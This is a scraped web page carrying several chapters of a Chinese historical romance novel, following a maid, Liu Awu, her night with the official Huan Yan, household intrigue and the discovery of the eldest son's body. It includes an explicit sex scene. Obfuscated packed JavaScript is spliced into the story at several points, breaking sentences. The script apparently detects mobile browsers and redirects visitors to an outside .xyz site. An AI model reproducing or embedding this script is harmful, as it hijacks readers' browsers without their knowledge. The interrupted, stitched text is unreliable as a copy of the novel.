这个房间依旧没有燃香,也只摆了应季的瓜果,自然清香的味道让她觉得很放松很舒服。 男人似乎已经沐浴过了,身上飘出淡淡的皂香,在她的双手轻触他衣衫时手上的韵律顿了一下。 阿五歪头看他,露出甜甜一笑。 其实她很紧张,手心里都是汗,也不晓得如何开始才不尴尬。 但愿能像上一次一样,她只不过轻轻凑过去,近距离闻了闻男人的味道,他便坐不住了,接下来的一切顺理成章。 但是眼下,桓晏端得是四平八稳,看起来颇有些向她讨回来的意思。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859816|175964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>柳阿五说服自己,手段技术她都会,只不过当真面对男人施展,这还是第一次,那又何惧,丢了什么都比丢了命强。 “阿五姑娘可会抚琴?”桓晏问,转头看向已经靠在他肩上的美人,一道行云流水的琴声响起。 她身上软软的,哪怕只是轻轻斜靠在他肩头,都能闻到属于她的芳香,感受到那流水般的温柔。 柳阿五自然会抚琴,而且琴技颇佳,只是她今日不是来抚琴的。 “二公子珠玉在前,阿五不敢班门弄斧,不过比起抚琴阿五的舞技更好。” 看到男人纤长的手指,柳阿五下意识想起上一次就是这双手掐得她肉疼。 比起抚琴、茶道、对弈这些,跳舞更能展现她的美,也更适合今夜她需要的气氛。 “哦,那今日可是能大饱眼福了。”桓晏话音落,琴声起。 柳阿五颔首起身飘飘若天上下凡的仙子,长袖飞扬裙裾生花,只一个起步的动作,她的披帛和外衫便掉落在桓晏身上。 桓晏挑眉,便换了曲风,从悠扬婉转到热烈奔放,激荡递进,阿五身上的衣衫也随着舞姿一件件剥落,直到挂在修长雪白脖颈儿上的小衣的细带被他勾散,那双还在抚琴的大手扶上了她纤细的腰肢,美人勾腿盘坐在他的腰上,桓晏顺势将人抱起,樱唇落在男人的面颊上,怀中的美人娇喘连连,喷薄出的甜香的气体萦绕在他身侧。 桓晏下意识收紧双手。 “二公子。” 她面颊上泛起潮红,好似喝醉了一般,眉眼弯弯尽显无尽风情。 这是阿五想要的,跳舞总比直愣愣施展技巧要好,盘算着一切水到渠成的时候,她却被那人掐腰放在了案桌上。 那是他用来写字忙公务的桌子,上面摆满了笔墨纸砚都还没来得及收拾。 “你叫我什么。”男人声音粗厚,好似凶兽低吼。 “二公子。”柳阿五不明所以,下意识咬唇,鲜红柔嫩的下唇被咬出痕迹,看着叫人心疼。 “叫晏郎。”桓晏的目光逼近,掐住她腰肢的双手再次用力。 “晏,晏郎。”阿五艰难张口,桓晏便迎上她的唇,用舌头敲开她的贝齿,又吸了吸唇上的齿印,缱绻道:“大声叫。” 他的要求还真是多,阿五怔愣还未反应过来,男人已经蹲下身去,顺势一股温热的气体袭来,阿五忍不住仰面轻吟,又一次咬住下唇强迫自己不要发出声音。 美人被欺,面颊绯红檀口微张,娇喘连连浑身震颤,先前想好的一切技巧、手段全都抛之脑后,此刻她连自己都无法控制,更遑论那些蓄谋已久的伎俩。 窗外起了风,吹得树叶沙沙作响,烛火明灭跃动,屋内的旖旎更加迷人心窍。 男人温柔又霸道,一步步探索她的喜好,一点点击溃她的防线,直到她泪眼迷离连声求饶。 好像哪里不对,此刻的柳阿五脑筋不是很清楚,只觉得自己万般周密的计划到了桓晏这里总会功亏一篑变得毫无章法,一切都由他做主,上次是,这次好像也是。 香甜的味道,轻柔的撩拨,双手环绕指尖掐入男人健壮厚实的脊背…… 他实在又硬又强势,柳阿五无力招架只有束手就擒听之任之,身体不受控地穿云破雾甘之如饴。 7. 还击 “ 烛火被点亮,阿五被迫睁开惺忪的睡眼,还以为是半夜却看到了窗口泛起了蓝色。 天亮了。 浑身酸疼,睡得昏昏沉沉,只觉得自己仿佛溺水求生的小猫死死抱住一根浮木,那是她的救命恩木。 这一夜睡得太辛苦了。 又醒了醒神,阿五强撑着一只胳膊肘起身,眼前一片官服扫过,桓晏已经穿戴妥当。 绯色圆领袍上绣云鹤纹,腰系金带,这是五品以上的官服。 按理说皇城使最多六品,可见传闻不假,桓晏的确极受皇帝器重,不然侯爷也不会为了他几乎和夫人翻脸。 “莫要胡思乱想。” 那张俊逸冷厉的脸逼近眼前,眉眼浓烈瞳仁深邃,好似黑黢黢的深潭不见底也辨不清喜怒。 “既跟了我,日后便不许再去攀附他人。” 这是命令吗,阿五刚睡醒还有些懵懵的。 美人就是美人,睡眼惺忪也美得慵懒可爱,让人忍不住想要一亲芳泽。 桓晏拉开了同她的距离,站得笔直低头看着她。 柔嫩光滑的小圆肩不经意间露出衾被,连着精致小巧凸起的锁骨,她不着寸缕地躺在被子里,自上而下看过去依稀可见那饱满柔嫩的绝色风光。 小腹骤然一紧,桓晏别过脸去扔给她一个物件,“从今往后,你只需乖乖听话,一切我自有安排。” 冷厉精致的眉眼陡然逼近,“若再让我发现,叫你下不了地。” 男人阔步离去,只留下那若有似无地清淡的香气在空中萦绕。 柳阿五拿起落在床上的东西,吃了一惊,正是她送给赖嬷嬷的那枚白玉观音。 * 回到桓府的时候天色才将将亮起,原本有些担心会不会被发现,当柳阿五看到门口焦急等待她的是梁伯,心里舒了一口气。 忍着酸痛慢慢走下车,虽然她极力忍耐以免被人看出端倪,可梁伯依旧满脸担忧欲言又止。 “多谢梁伯。”阿五行礼道谢。 梁伯摆摆手,忍了忍道:“姑娘快些回房休息去吧。” 老人家大约是看出来了,阿五觉得面上臊得很,拧着帕子不知所措。 “老奴让珍珠给姑娘熬了些汤药,不伤身的,姑娘尽管放心。”梁伯走在她身前半步,一边紧张地絮絮叨叨一边帮她引路,“老奴去准备早食,姑娘用了老奴再来禀报些琐事。” 阿五点头,自谢氏病倒便让柳阿五替她分担府中琐事,每日必详细询问,拿她当传话筒。 到了翠竹轩珍珠来接,梁伯默默退下。 阿五却没有立时回房,站在廊下看着老人家蹒跚远去的步履良久。 转过回廊,知道她看不到了,梁伯忍不住抹泪。 他原是江南人,因灾害全家死光只有他被柳阿五的爹爹救下,从此便跟着柳家做管事,后又被提拔为大掌柜,负责柳家的生意往来,一干就是三十年。 柳家富庶生意兴隆,直到被桓氏强行霸占了家财和生意,逼死了柳氏夫妇,也就是阿五的爹娘,眼看着小娘子被侯夫人带走,梁伯实在担忧便自告奋勇入了侯府,以继续帮忙管家打理原本就属于柳家的生意为由,暗中照顾柳阿五。 只是那时的阿五还小,对经常在外跑生意的梁伯记忆并不深刻。 眼看着小娘子被搓磨成这样,梁伯忍不住落泪,她原本该是锦衣玉食被捧在掌心中的明珠,如今却落得这般辛苦谋生抛弃名节的境地,实在让人恨得咬牙切齿,只愿恶人有恶报,又想那人能真的待她好吧。 身上的青紫阿五视而不见,忍着不适和酸痛沐浴后吃了早食又喝了药,这才又见梁伯捧着几本账册过来。 “您坐。”柳阿五吩咐珍珠,“去给梁伯沏壶西湖龙井。” 梁伯受宠若惊刚要推辞却听她道:“多亏了您帮我,咱们之间别讲那些虚礼了。” 多么通透真诚的小娘子,梁伯默默点了点头,将账册递过去。 “这几日府中和几处庄子上的开支,请姑娘过目。” 这些都是平日里谢氏会看的,可是谢氏防着她,阿五不会看账更不会管账。 看着她迷茫的眼神梁伯发自内心惋惜,小娘子像极了她的母亲,美丽、聪慧,只可惜这些没人教她,若是她爹娘还在,小娘子该是多么厉害出色的东家啊。 “有一项昨日的支出的账目需向姑娘说明。”梁伯无奈解释,“二老爷狎妓被官府的人送回来了,支取了银子打发了。” 而后抬头问她,“此事可要禀报夫人。” 阿五默了一会儿,若按照平日定是要让夫人知晓的,可现在她却不想那样做。 “夫人身子不好,索性银子花出去了,早一日讲晚一日讲也没什么分别。” 梁伯点点头,没说什么。 此时的侯府,侯爷私自离京寻子让陛下颇为不满,家中掌事的侯夫人又病重,等侯爷回来陛下作何处罚尚未可知,大公子凶多吉少,夫人的身子也是每况愈下,整个侯府可谓飘摇脆弱,既然二房仍旧不知安分,那便先由着他吧。 想起曾经那些被桓仲望骚扰欺负的日子,柳阿五平静地喝了一口茶。 毒瘤养大了才好一次剜除得干净,况且这样的事要在恰当的时候说才更能起到作用。 账目虽看不懂,可这些年跟在谢氏身边,阿五也能察觉到,侯府的收入及侯爷和二老爷、大公子的俸禄并不足以支撑整个府邸奢靡又铺张的花销。 侯府还有其他的生意。 “府外的生意是不是在另外的账本上。”柳阿五问梁伯。 梁伯点头,“都是在侯爷手中,平日夫人是不管那些的。” 如此说来,梁伯应是知情人。 “那,除了京城的生意,可还有外面的。”柳阿五端起茶盏,看似不经意地问,“比如,江南那边。” 梁伯眼中难以掩藏的怔愣让柳阿五的猜测更自信了几分。 “老奴……”梁伯斟酌回话,“是,有。” 老人家的表情透出为难,柳阿五也不便多问,慢慢来,不可操之过急。 “姑娘怎么想起来问那些。”梁伯看着她,眼中多了一层担忧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859817|175964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “没什么,只是听说江南富庶,随便一问。”阿五笑了笑。 梁伯搓了搓手心里的汗,缓缓点头。 账目没什么好看的,茶水也已经喝了两盏,瞧着她也没什么要问的,梁伯道:“赖嬷嬷家的小子被人打了。” 阿五翻看账本的手顿了一下,想起了那枚送出去又回来的白玉观音还在袖子里,心里突突了两下。 “可知道是什么人做的?” 梁伯摇头,“说是一点小口角。” 那个傻子经常因为小事同人争执,虽然人傻偏被养得刁蛮霸道,柳阿五不置可否。 看着她没什么反应,梁伯觉得松了一口气,小娘子越来越沉稳了。 “敬王殿下的伤很重。” 这是另一件事,因为敬王同侯府沾亲,梁伯必然要关注。 “但是人已经醒了,说是没看清刺客的模样,怀疑是那位所为。” 他说的是大皇子,皇子之间是你死我活的仇恨,敬王如此推断也是合情合理。 “就按照夫人的行事习惯送些补品过去吧。”阿五淡淡地吩咐,即便是谢氏在这里也会如此,梁伯点头。 或许此事背后另有人谋之,阿五摸索着那块还未来得及放回去的玉观音想。 不过,实在不太可能,是她想多了。 “还有一桩事。”梁伯起身要走的时候想起来,“是翡翠……” “柳阿五,小贱蹄子,给我滚出来。” 梁伯话还未出口,院门外便传来尖厉刺耳的女声,傲慢叫嚣毫不客气。 “怎么了?”柳阿五充耳不闻,看着梁伯温柔地问道。 梁伯苦着脸解释,“翡翠不知从哪里听来的,说姑娘昨晚未归,一早便过来找老奴质问,老奴将她打发走了,她便要去找夫人告状,也不知……” 柳阿五点头。 翡翠是夫人院子里的二等丫头,因自小跟着夫人情分不比旁人,从来都是傲慢无礼自视甚高的,自诩夫人待她不同,一心幻想着给大公子做填房。 阿五承认,谢氏笼络人心是有些手段的,可为何满院子的丫头只有她翡翠会有如此幻想。 因为她实在喜欢大公子,以至于……失心疯了。 对,她一向将阿五当作敌人,好像是阿五挡住了她的姨娘之路,从来对阿五都是颐指气使恶语相向,从前阿五不同她计较,如今…… 她的话实在多了些。 隔着珠帘和雕花门,能隐隐约约看到院子里的人影,丫头们去阻止翡翠却一个个都被她骂了个狗血淋头。 “贱婢,你们也敢拦着我。” “柳阿五,你给我滚出来,咱们去见夫人说个清楚。” “别以为旁人不知,你昨晚上又去爬谁的床了。” …… 实在太聒噪了。 柳阿五揉了揉太阳穴,昨晚的确没怎么睡好,一早又处理事情到现在,本就体弱的身子当真是觉得不舒服了。 “姑娘,可是身子不好了。”梁伯有些担心。 阿五摇头,“梁伯,找人缝了她的嘴。” 8. 作践 气若游丝平淡冷静,面上也丝毫不见怒气和愤懑,柳阿五永远都是这样,淡淡的柔弱的,温和的。 梁伯一愣,随即点头应下退了出去。 很快,院子里的叫嚣声听不见了,也没有任何奇怪的尖叫和哭泣,一切恢复了平静,珠帘仍在晃动,院子里被阳光照得一片灿烂细碎的金色,很好看。 屋子里燃着线香,是谢氏喜欢的味道,甜腻中带着一丝若有似无的辛辣。 阿五起身走过去,打开香炉的盖子将茶盏浇上去,香火被扑灭升起一股浓浓的难闻的气味。 “珍珠。”阿五吩咐,“从今往后,咱们屋里不燃香。” 珍珠点头,捧起香炉出去了。 窗子被打开,金灿灿的阳光洒进来,春日早晨的风带着些许凉气,吹得人很舒服。 不负春日,就该如此。 柳阿五重新换上了淡绿色素净清爽的裙装,将头发松松绾了个髻,饰品尽除只在腰间带了一个小小的香囊,里面是她自己调配的香药和花瓣,味道又香又苦却是她喜欢的。 她该去看看夫人了,顺便说一下翡翠的事情。 赖嬷嬷的傻儿子被打了,可以想象她该有多伤心,大概会哭着求夫人做主,无非是想多要些好处罢了。 绿荫遮日的院子里,柳阿五莲步慢移,春日的早晨空气清新,头顶上是叽叽喳喳的鸟雀,身边还有偶然飞过的蝴蝶,池塘里能看到一群群游来游去的鱼儿。 万物勃发,生机盎然。 刚入静怡堂的院门,迎面而来的女子让柳阿五反应了一下。 是被关在柴房里的那位,叫沈月棠。 大公子的外室。 还记得她登门那日,一身并不合体的裙衫,披帛弄得很脏,好似走了千万里而来并没有坐车一样。 沈月棠样貌很普通,是那种开阔大气的长相,就连身材也是高挑强悍的,整个人透着一种洒脱爽朗的气质,看上去不像深闺中的千金,倒像是江湖中的女侠。 自然,这只是柳阿五一个人的想法,那一日,阖府上下都将她当成了骗子,后来听说大公子死了,侯爷气急,将她锁在了柴房里审问。 想来这些日子,她应当过得十分辛苦。 柳阿五很自然地将视线移到了她的腹部,那里尚且平坦,看不出什么。 显然对方也看到了她,装腔作势地等着她走近。 “柳姑娘。” 她声音不好听,是那种长期中气十足叫嚣后刻意压下音调伪装温柔的假声。 “巧了,夫人召见我说是有话要问。”她在炫耀,手很自然地按在小腹上。 阿五点头,她早就看到了,沈月棠换了新的衣裳,绾了发,还戴上了珠钗发簪,虽并不十分奢侈华贵,但阿五知道等谢氏问完话这些东西自然会送进她的房间。 谢氏的新筹码便是沈月棠腹中的孩子。 柳阿五走在前面,沈月棠跟在她身后,对于她的冷淡和缄默似乎并不介意。 “柳姑娘,其实你很好看,是天底下都难找的美人,可是为什么要做人家通房这么上不得台面呢,正儿八经找个人嫁了,哪怕穷一些也是正经夫妻,做人堂堂正正不好吗。” 沈月棠的话让柳阿五顿住脚步,忍不住回头看她。 倒不是因为她的讽刺,阿五觉得她这话说得奇怪。 自己尚且是个更加上不得台面的外室,此言何意。 被她盯着看,沈月棠有些不自在,二人一个在石阶上一个在下却能平视彼此。 沈月棠本就个子高挑,二人近距离站在一处越发显出她的壮硕,那双手也并不细致柔嫩倒像是经常干活的一双手。 前几日她实在狼狈,柳阿五也不曾仔细观察她,今日再见,阿五心中生疑。 这样的女子不像是大公子会喜欢的,为何会有孩子。 而且她说话也实在奇怪,这副得意的模样丝毫不见失去夫君的哀伤,对于大公子的死沈月棠一直非常笃定,却又说不出细节。 “你,看我做甚。” 沈月棠有些心虚,上前一步越过阿五走在前面,“自甘下贱冒充什么大家闺秀,我呸。” * 春日的阳光洒下,静怡堂内室被照得亮堂堂的,窗子也被打开,能听到风吹树叶的沙沙声和鸟雀鸣鸠的欢快歌声。 极好的天气。 屋内没了前两日的药味,应当是被仔仔细细收拾过了,淡淡的香气自铜鼎香炉里飘散,是谢氏喜欢的味道。 看来夫人的病症有好转,柳阿五捏了捏手中的帕子迈步进门。 “砰砰”声传来,虽隔着屏风看不真切却也能隐约看到赖嬷嬷跪在床榻前的身影。 一阵急促的咳嗽声传来,是谢氏的声音。 “你不知我不喜甜吗,做甚给我蜜饯,欺主犯上的东西。” 赖嬷嬷连连磕头认错,“老奴不敢,是老奴的错,老奴该死。” 赖嬷嬷定是因为担忧她那个傻儿子,做事走了神,这才什么都往夫人这里送。 人病得久了,坏脾气只会更坏。 跪在屏风后的柳阿五看了看身边跪着的沈月棠,这个女子颇让她不能理解。 屋内谢氏雷霆震怒她似乎丝毫也不害怕,正抬着眼环顾打量这房子里的一切,雕花紫檀月洞门,名家书画、上好的瓷器紫砂,黄花梨妆台及放在妆奁上的各种让人眼花缭乱的首饰……她看得两眼放光。 这女子有些奇怪,柳阿五暂且按下心中疑惑等了等,里面谢氏仍旧在没完没了地数落赖嬷嬷,语气很重越说越气,阿五想了想,见缝插针高声道:“奴婢和沈娘子给夫人请安。” 听她提及自己,沈月棠这才收敛眼神,狠狠剜了柳阿五一眼,生硬道,“给夫人请安。” 果然,屋内的斥责声停住了,片刻后赖嬷嬷苦着脸扶着腰走出来,“夫人请二位姑娘进去。” 阿五起身走过去,假意握了握赖嬷嬷的手,赖嬷嬷感激地看着她反握了握她的手,并未言语却好似真的感激她为自己解围。 二人交错阿五脸上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她又来了,柳阿五闭眼心里默默叹息,这女子究竟是怎么同大公子认识的,憨成这样竟也能得大公子喜欢吗。 沈月棠三番两次给柳阿五添堵,说话尽是往谢氏伤口上撒盐,一副谁都不怕谁都不待见的做派,当真是让人摸不清套路。 看在她腹中是大公子的孩子的份上,柳阿五并未往心里去,她并非针对她一人,这些日子阿五瞧出来了,这个沈月棠对谁都一样。 但这话说得实在不中听,谢氏刚平息的怒气再次被点燃,顺手拿起茶盏就朝沈月棠砸去,“蠢货,你又是个什么东西,再胡言乱语,就叫你知道厉害。” 虽是句威胁的话却也十分管用,沈月棠终于翻了翻眼皮闭了嘴。 “还有你。”谢氏的余火未消,转头看向跪在自己身边的柳阿五。 雪白如瓷的皮肤在阳光下吹弹可破,红润水灵的模样抬眸间暗送秋波,这是柳阿五的习惯,看人的眼神总是纯纯的弱弱的惹人怜惜。 天生妩媚。 这个丫头是她当年一眼看中的,美貌似天上的仙女,这样的女子即便当时她不下手也会被侯爷带走,便宜了那个老货不如培养出来给自己的儿子。 “宫里头还需多下些功夫。”谢氏抓住柳阿五的手,虽在病中却力道不减。 “延年是你的主子,是你这辈子的依靠,他若有个三长两短,你也不得活。” 9. 死讯 谢氏死死捏住她柔嫩的小手,猛然间往后一推,柳阿五被推坐在地上被脚踏铬了一下臀部,加上昨晚留下的酸痛暗伤,整个人动弹不得,疼得眼泪直流。 终于,夫人也觉得无望了吧,气急败坏说出了心里话。 “夫人莫要生气,大公子不会有事的。”柳阿五跪地磕头,泪珠大颗大颗落下,阴湿一片。 谢氏仰面抹掉腮边的泪珠,斜着眼睛看了一眼娇弱美丽的柳阿五,冷冷道:“别浪费了你的美貌和那些手段,若不想死,便该想着法子去套些有用的消息来。我养你这些年把你当作千金小姐一般,姑娘不是谁都当得,现在也该你尽孝的时候了。” 她是大公子的附属,若是主子不在了,自然不能留她污蔑主子清白。 阿五瑟瑟应声,死死咬住下唇,颤抖地说不出话来。 这是个明晃晃的圈套,让她自掘坟墓。无论大公子是生是死,她柳阿五但凡走出去这一步都别想再活下去了,谢氏好阴狠,只是她没有想到柳阿五已经走出了这一步,不是为了谢氏和大公子,而是为了她自己。 桓晏说得对,柳阿五想,不该再讨好谢氏了,她只会将自己掰开揉碎物尽其用后无情丢弃。 可是除了谢氏她又该依靠谁呢,桓晏吗,他可信吗。 柳阿五的手扶上酸软的腰肢,男人力气实在太大折腾得她险些折断。 他的味道还留在身上,虽然阿五已经沐浴过两次可总觉得那处不舒服,她用了许多香胰或许旁人察觉不到,可是她仍觉得自己身上那些属于男人的气味很难受。 昨晚那个男人狠狠地要了她三次,终于在第三次吐露了些似要护着她的话,可是,真的这么简单仅凭美貌和投怀送抱他就会护着她吗。 桓晏不简单,他究竟想要的是什么。 柳阿五的直觉告诉她,对付桓晏这种男人只靠色相是不够的,总要有能拿来交换的条件,可是她有什么值得交换的呢。 “起身吧。”谢氏满脸嫌弃,“在我这里装柔弱不如到有用的人面前卖弄,救了大公子也算你功德一件。” “是。”柳阿五撑着起身,不经意间对上沈月棠看好戏的眼神。 那女子眼中除了鄙夷竟还流露出一丝怜悯和同情。 柳阿五别过脸去不看她,仍同往常一样小心地侍奉谢氏茶水,过去比这更难受的搓磨她都忍住了,这些算不得什么。 “给她安排个房间,让她住进翠竹轩。”谢氏的目光落在沈月棠身上,满是鄙夷。 “谢夫人。”沈月棠喜形于色,“那我需要衣裳首饰都找阿五姑娘了,还有,我现在怀着孩子,吃的不好的话将来这孩子……” “闭嘴。”谢氏再次怒气冲冲打断她,“叫人安排自然不用你操心,没规矩的东西,别打量着肚里揣了孩子就想要挟,也不看看这是什么地方由得你撒野。” 沈月棠终于明白过来,白着脸跪在地上再说不出一个字。 谢氏喘着粗气捋着胸口继续安排,“延年的事现在风口浪尖上,咱们府上却也不能这样消沉下去,下月庾氏老夫人寿诞,你张罗好让素娥风风光光地去。” 颍川庾氏世家大族,他家老夫人乃忠勇侯嫡女,长房家主任吏部尚书,族中多人在朝为官且身居要职,谢氏这是看中了庾氏长房长子庾月清。 柳阿五在谢氏寿宴之时见到过前来贺寿的庾氏长公子,可谓仪表堂堂前途无量,听说在京中各家儿女的婚事上极为抢手。 “奴婢帮三姑娘准备好衣裳首饰。”柳阿五诺诺应道,“一切都用最好的。” 谢氏点头,“开库房让她自己挑,若还看不中便去买,需要多少银子紧着她花。” “是。”柳阿五十分恭敬。 侯府财力极厚,生意遍及京城和其他地方,但是柳阿五一直想不明白,桓氏究竟是如何能将生意做得这般大的。 桓素娥是谢氏所出,同大公子一样,她的婚事是谢氏最为看重的,对方既要有家世才学,模样还要周正齐整。 桓素娥的婚事此时被提及是谢氏筹谋再三的决定,万一陛下追究侯爷的私自出京,万一大公子真的没有赴任,龙颜不悦即便桓氏百年世家盘根错节也免不了受到重创,在此之前替桓素娥定下婚事既是替女儿的前程谋划,也有挽救侯府的意思。 “还有六丫头的婚事。”谢氏又提起了二房的嫡女,六姑娘桓含嫣。 “顾氏求到我这里两回了,她那个爹也当真是指望不上,她想靠着侯爷帮她觅得良人。”谢氏皱眉道,“我倒是觉得翰林院那个编修,侯爷提及过的,叫什么来着。” 那位翰林院的编修柳阿五也见过,曾应侯爷的邀请过府议事,长得贼眉鼠眼,偶见她那种赤裸裸毫不遮掩的眼神,让柳阿五觉得绝非良人。 “奴婢记得大约是姓郑。” “对,就是他。此人一心想要攀附侯爷和桓府,借此找个依靠,婚事若是能成必不会亏待了含嫣,想来倒也是个良配。” 阿五怔愣,瞬时明白了含嫣为何心虚不佳,她才华横溢温柔贤淑若当真配这样一个人,岂不白白断送一生。 “六丫头心气高,我瞧着她平日与你倒是话多,你多劝劝她,如今侯府不同从前,她不比素娥是侯爷的亲女,二房她那个爹上不得台面,婚事上还是要务实些。” 这是一番压人头皮不容反驳的话,柳阿五虽心里不情愿面上也只得先应下,私心里盘算着帮含嫣想想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859819|175964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 办法。 谢氏为人就是如此,平素里虽二老爷桓仲望不随她心意,可其妻顾氏对谢氏这位大嫂可是毕恭毕敬十分敬重有礼的,就连六姑娘桓含嫣见了谢氏和桓素娥也恭敬得体,可即便如此也换不回谢氏半点慈善心肠。 她眼里只有利益和交换,没有情感。 日头逐渐升高,太阳暖融融地照耀大地,万物勃发生机盎然。 谢氏瞧了一眼窗外,似有要出去走走的意思。 柳阿五二话没说帮谢氏更衣上妆挽发,一切伺候妥当才扶着谢氏走出房门。 金灿灿的阳光铺陈在院子里,光耀明亮,看着就让人心情舒畅。 病了几日这还是谢氏第一次走出屋子,丫头婆子们忙行礼问安,谢氏扫了一圈让她们退下后转头问阿五:“今日怎么没瞧见翡翠,那丫头一向勤勉今日怎么没来请安。” 阿五踌躇正要说出早上的事,就见门外进来一人,一身劲衣腰挂佩剑,竟是昌平。 昌平几步就到了近前,朝谢氏抱拳行礼后道:“给夫人请安,我家主子让属下来带句话,府中有个叫翡翠的丫头,昨日去二公子房子送……” 昌平抬头十分为难地看了一眼谢氏,遂又垂眸大声道:“送参汤和她自己,此女还满口大公子的种种不是,望得二公子照拂,被二公子缝了嘴发卖了,特让属下来禀报夫人一声。” 说完也不等谢氏反应,借着抱拳行礼的空看了一眼柳阿五,随即转身利落离去。 震惊的不止谢氏,还有柳阿五。 原来他说“自有安排”并非虚言。 柳阿五出了一身的冷汗,那块被送出去又回来的玉观音,敬王的遇刺,还有翡翠……这些事都是他干的,他究竟要做什么。 “哼。”谢氏一声闷哼,脸色铁青,对于翡翠的心思她是明白的,此刻被人打了脸自然不会为了一个丫头得罪桓晏。 “一心想要当主子的死丫头,活该。”谢氏生气,“卖了就卖了吧,不过,那位的手似乎伸得有些太长了。” 谢氏不喜桓晏,二人可谓是针锋相对,奈何侯爷偏袒桓晏,谢氏也拿他无法,至少目前如此。 倏然,她转头看向身边的柳阿五,“你可熟悉那个庶子,若是你也有此想法我倒是乐意送你个人情。” 这样作践人的话从谢氏口中说出实在是稀松平常的事,柳阿五忍着羞恼,温声道:“奴婢一心一意伺候大公子和夫人,绝无二心。” “哼。”谢氏不屑,一副看穿通透的样子,“你们这些人……” 话没说完就见门房的小厮连滚带爬跑得飞快直冲进来,扑通一声跪在谢氏面前哭道: “夫人,大公子的尸首找到了。” 10. 正妻 侯府的大门洞开,桓晏一身皇城使公服带着两队整齐划一的亲从官抬着一口巨大的棺椁立在庭院里。 方才还晴好的天气骤然起了风,乌云遮日,好似又要下雨。 谢氏面色惨白已然站不住脚,被柳阿五扶着颤巍巍走下石阶扑向黑漆漆的棺椁。 所有的奴仆下人跪了一地,不敢发出一点声音。 期盼、等待的日子在这一刻戛然而止,悬着的心也终于死了,大公子真的出事了。 谢氏拼命挣扎想要去看一眼躺在里面的人,却无奈没有力气抓挠了半天直到自己筋疲力尽也没能看上一眼。 “阿五,去,看看是不是延年。” 这句话几乎是从喉咙里挤出来的,谢氏瘫坐在地上,全然没有了往日的优雅高贵,宛如疯妇一般哭得涕泪横流也来不及抹去,红着一双眼像要吃人。 柳阿五抹泪上前,双手刚抚上冰冷的棺木便好似被烫一般缩回手,大公子死了,真的死了,那么好的一个人就这么没了。 “还愣着干什么,你这个贱婢。”谢氏在身后歇斯底里地催促,柳阿五不得不再次扶住棺木。 素白的小手将要放在黑漆漆的棺木上又烫手似的缩回来,阿五颤抖着双手摸索着想往里看又害怕得不行。 眼前一黑,高大的身影挡住了视线。 桓晏的手垫在了柳阿五的小手之下,没有让她触碰那黑黢黢的棺椁。 “这具尸体被腥臭的河水泡了十多日,发胀浮白面目狰狞难辨。”桓晏冷冷道:“夫人确定要看吗?” 他笔直挺拔地站在阿五面前,动作被遮挡,眼神却落在她身后谢氏的身上,这话是对谢氏说的。 所有人震惊,大公子已经死了十多日了且真的是落水,阿五看向身后的沈月棠,桓晏这话和沈月棠说得一般无二。 似是想起了什么,沈月棠此刻跪在地上泪水簌簌落下,终于在她脸上看到了真切的悲伤。 “桓晏你不要耍花招,不验明正身如何知道那里面就是延年。”谢氏气虚,说起话来上气不接下气,“就怕有人使诈背后捣鬼,若叫我发现必要他偿命。” 一声冷笑撕破空气中的宁静,桓晏仿佛听到了什么十分有趣的事,脸上凝着骇人的笑容,眉眼弯弯但那眼中却似有千万利箭,要将人射穿。 “夫人说得没错,杀人偿命天经地义。” 桓晏语速很慢步伐沉重,绕过柳阿五走向谢氏,居高临下道:“不知夫人什么时候为此偿还呢。” 这是一句旁人听不懂的话,柳阿五却看到谢氏立时白了脸。 记忆中自打桓晏第一天入府见谢氏就从未跪过,充其量不过是当着侯爷的面浅浅弯一下腰而已,脸上也满是不屑和厌烦。 原本以为他性格如此,年纪轻轻身居高位的人自来傲慢,如今再听这句话,柳阿五恍然顿悟,他们之间定是有着极深的恩怨,以至于谢氏在桓晏面前似乎都矮了几分。 “你,一定是你,害死我儿。”谢氏涕泪横流,失心疯似的想要攀咬桓晏,却被他躲开了。 “夫人放心,是不是大公子本人验尸之后自然见分晓。”他的话轻飘飘的好似在说今日天气不错这么简单。 可谢氏却再也绷不住了,一口鲜血吐出染红了胸前的衣襟,“不许动尸首,谁准你验尸。” 莫说桓氏这种世家大族,即便是普通百姓也极讲究全尸往生一说,若身死之后还要被开膛破肚那将永生永世不得超生投胎,这是对死者的诅咒也是对世家大族的羞辱。 谢氏自然不肯,就连柳阿五都觉得这般实在过分了。 “夫人。” 见到谢氏吐血,旁边有丫头飞扑过去被桓晏一脚踢开,任由谢氏喘着粗气恶狠狠地盯着他。 